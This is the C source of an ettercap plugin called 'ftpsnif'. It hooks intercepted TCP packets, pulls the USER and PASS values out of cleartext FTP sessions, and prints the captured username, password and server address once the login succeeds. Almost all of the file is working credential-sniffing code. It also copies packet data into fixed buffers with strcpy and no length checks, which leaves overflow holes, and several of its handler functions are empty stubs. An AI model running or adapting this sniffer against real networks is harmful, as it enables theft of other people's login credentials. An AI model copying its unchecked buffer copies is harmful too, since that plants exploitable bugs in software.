#include <ec.h>                        /* required for global variables */
#include <ec_plugins.h>                /* required for plugin ops */

#include <stdlib.h>
#include <string.h>

#include <ec_hook.h>	//for HOOK_RECEIVED message
#include <ec_inet.h>	//for inet_ntoa function

#include <netinet/tcp.h>

#define MAX_BUFFER_SIZE 128

#define FTP_PORT 21

#define CODE_READY          1
#define CODE_PAS_REQ        2
#define CODE_DENY           3
#define CODE_WRONG_LOGIN    4
#define CODE_LOGIN_OK       5

#define STATUS_WAIT     0
#define STATUS_BEGIN    1
#define STATUS_PASS_REQ 2
#define STATUS_DENY     3
#define STATUS_SUCCESS  4


#define CODE_USER   "USER"
#define CODE_PASS   "PASS"

static int ftp_init(void *);
static int ftp_fini(void *);
static void parse_tcp(struct packet_object *po);
static void getUserData(char data[]);
static void getSecretValue( char data[], char *code );
static int getCode(char data[]);

static void code_ready();
static void code_pass_req();
static void code_deny();
static void code_success(char* ftp_ip);


unsigned int port_connection;
unsigned int status_connection;
char g_user[MAX_BUFFER_SIZE];
char g_pass[MAX_BUFFER_SIZE];



struct plugin_ops ftp_ops = {
    /* ettercap version MUST be the global EC_VERSION */
    ettercap_version : EC_VERSION,
    /* the name of the plugin */
    name : "ftpsnif",
    /* a short description of the plugin (max 50 chars) */
    info : "FTP",
    /* the plugin version. */
    version : "1.0",
    /* activation function */
    init : &ftp_init,
    /* deactivation function */
    fini : &ftp_fini,
};

/* this function is called on plugin load */
int plugin_load(void *handle) {
    DEBUG_MSG("dummy plugin load function");
    return plugin_register(handle, &ftp_ops);
}

static int ftp_init(void *dummy)
{
    /* don't show packets while operating */
    GBL_OPTIONS->quiet = 1;

    //TCP pack to parse_tcp func
    hook_add(HOOK_PACKET_TCP, &parse_tcp);

    return PLUGIN_RUNNING;
}

static void parse_tcp(struct packet_object *po) {

    struct tcphdr *tcp = (struct tcphdr *) po->L4.header;

    char data_buff[MAX_BUFFER_SIZE];
    char ftp_ip[32];

    if( ntohs(tcp->dest) == FTP_PORT ) {
        if( port_connection == 0 ) {
            port_connection = ntohs(tcp->source);
        }
        strcpy(data_buff, (char*)po->DATA.data);

        if( strlen(data_buff) > 4 ) getUserData(data_buff);
    }

    else if( ntohs(tcp->dest) == port_connection ) {

        strcpy(data_buff, (char*)po->DATA.data);
        switch( getCode( data_buff ) ) {
            case CODE_LOGIN_OK:
                USER_MSG("ftp: %s\n", ip_addr_ntoa(&po->L3.src, ftp_ip));
                USER_MSG("username: %s\n", g_user);
                USER_MSG("password: %s\n", g_pass);

                //code_success( ip_addr_ntoa(&po->L3.src, ftp_ip) );
                //USER_MSG("user: %s   pass: %s\n", g_user, g_pass);
                //USER_MSG("password is %s\n", g_pass);
            break;

            case CODE_READY:
            break;

            case CODE_PAS_REQ:
            break;

            case CODE_DENY:
            break;
        }

    }

}

static int getCode(char data[]) {

    //USER_MSG("DATA %s\n", data);

    char code[4];
    memset(code, 0, sizeof(code));

    int i = 0;

    for(i = 0; i < 3 && strlen(data) > i; i++) {
        code[i] = data[i];
    }

    //USER_MSG("CODE %s\n", code);

    if( strcmp( code, "220" ) == 0 ) return CODE_READY;
    if( strcmp( code, "530" ) == 0 ) return CODE_DENY;
    if( strcmp( code, "331" ) == 0 ) return CODE_PAS_REQ;
    if( strcmp( code, "230" ) == 0 ) return CODE_LOGIN_OK;


    return -1;
}


static void getUserData(char data[]) {

    char code[8];
    memset(code, 0, sizeof(code));

    int i = 0;

    for(i = 0; i < 4 && strlen(data) > i; i++) {
        code[i] = data[i];
    }

    if( strcmp( code, "USER" ) == 0 ) getSecretValue(data, CODE_USER);
    if( strcmp( code, "PASS" ) == 0 ) getSecretValue(data, CODE_PASS);

}

static void getSecretValue( char data[], char *code ) {

    char result[MAX_BUFFER_SIZE];
    memset(result, 0, sizeof(result));

    int i,j;
    int data_len = strlen(data);

    for( i = 0, j = 5; j < data_len && data[j] != '\n'; i++, j++) {
        result[i] = data[j];
    }
    
    //USER_MSG("RES%s\n", data);
    if( strcmp(code, CODE_USER) == 0 ) strcpy(g_user, result);
    if( strcmp(code, CODE_PASS) == 0 ) strcpy(g_pass, result);

    //USER_MSG("RES%s\n", g_user);
}

static void code_ready() {
    status_connection = STATUS_BEGIN;
}

static void code_pass_req() {

}

static void code_deny() {
    if( status_connection == STATUS_PASS_REQ ) {
        return;
    }

}

static void code_success(char* ftp_ip) {
    //USER_MSG("FTP is %s\tlogin: %s\tpass: %s\n", ftp_ip, g_user, g_pass);
}

static int ftp_fini(void *dummy)
{
   USER_MSG("DUMMY: plugin finalization\n");
   return PLUGIN_FINISHED;
}